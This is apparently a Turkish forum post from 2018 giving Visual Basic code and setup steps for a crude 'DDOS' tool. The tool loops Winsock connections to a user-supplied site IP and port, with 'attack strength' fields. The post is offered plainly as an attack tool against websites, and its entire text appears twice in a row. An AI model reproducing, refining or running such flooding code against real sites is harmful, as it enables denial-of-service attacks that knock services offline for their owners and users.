- 19 May 2018
- 3
- 0
Lazım Olanlar: 4textbox,3 Button,1winsock.
Textbox1-Site ip
Textbox2-Saldırı Kuvveti
Textbox3-Saldırı Gücü
Textbox4-Site sunucu portu (normal:80)
###########Winsock Nasıl Ekleriz?#############
google pc nize uygun olan(64,32 bit --Windows 7 falan) mswinsck.ocx diye aratın ve indirin. Örnek: windows 7 64 bit mswinsck.ocx,yazın bulup indirin.
İndirdiğimiz dosyayı c:\windows\system e atın.
Sonra başlat>cmd yönetici olarak çalıştırıp:
regsvr32 c:\windows\system\mswinsck.ocx yazıp enterleyin.
_
Daha sonra visual basic gelip toolbox dan boş yere sağ tıklayıp "choose items" e tıklayın,COM C.... falan diyor ona tıkalyın ordanda http://i.hizliresim.com/pRdYma.jpg resimdekini seçip tamam a tıklayın.
Kod:
Imports System.Net
Imports System.IO
__________________
Button1
MsgBox("Saldırı Başlatıldı")
Dim Wiederholen
Dim Anfragen
On Error Resume Next
For Wiederholen = 0 To FlatTextBox3.Text - 1
For Anfragen = 0 To FlatTextBox2.Text - 1
AxWinsock1.Close()
AxWinsock1.Connect(FlatTextBox1.Text, FlatTextBox4.Text)
Next
Next
End Sub
___________
_____________
Button2
On Error Resume Next
MsgBox("Durdurmakmı İstiyorsunuz ? ", vbYesNo, "DDOS Durdur ! ")
Form1.Show()
Me.Hide()
__________
Button3
Form1.Show()
Me.Hide()
Textbox1-Site ip
Textbox2-Saldırı Kuvveti
Textbox3-Saldırı Gücü
Textbox4-Site sunucu portu (normal:80)
###########Winsock Nasıl Ekleriz?#############
google pc nize uygun olan(64,32 bit --Windows 7 falan) mswinsck.ocx diye aratın ve indirin. Örnek: windows 7 64 bit mswinsck.ocx,yazın bulup indirin.
İndirdiğimiz dosyayı c:\windows\system e atın.
Sonra başlat>cmd yönetici olarak çalıştırıp:
regsvr32 c:\windows\system\mswinsck.ocx yazıp enterleyin.
_
Daha sonra visual basic gelip toolbox dan boş yere sağ tıklayıp "choose items" e tıklayın,COM C.... falan diyor ona tıkalyın ordanda http://i.hizliresim.com/pRdYma.jpg resimdekini seçip tamam a tıklayın.
Kod:
Imports System.Net
Imports System.IO
__________________
Button1
MsgBox("Saldırı Başlatıldı")
Dim Wiederholen
Dim Anfragen
On Error Resume Next
For Wiederholen = 0 To FlatTextBox3.Text - 1
For Anfragen = 0 To FlatTextBox2.Text - 1
AxWinsock1.Close()
AxWinsock1.Connect(FlatTextBox1.Text, FlatTextBox4.Text)
Next
Next
End Sub
___________
_____________
Button2
On Error Resume Next
MsgBox("Durdurmakmı İstiyorsunuz ? ", vbYesNo, "DDOS Durdur ! ")
Form1.Show()
Me.Hide()
__________
Button3
Form1.Show()
Me.Hide()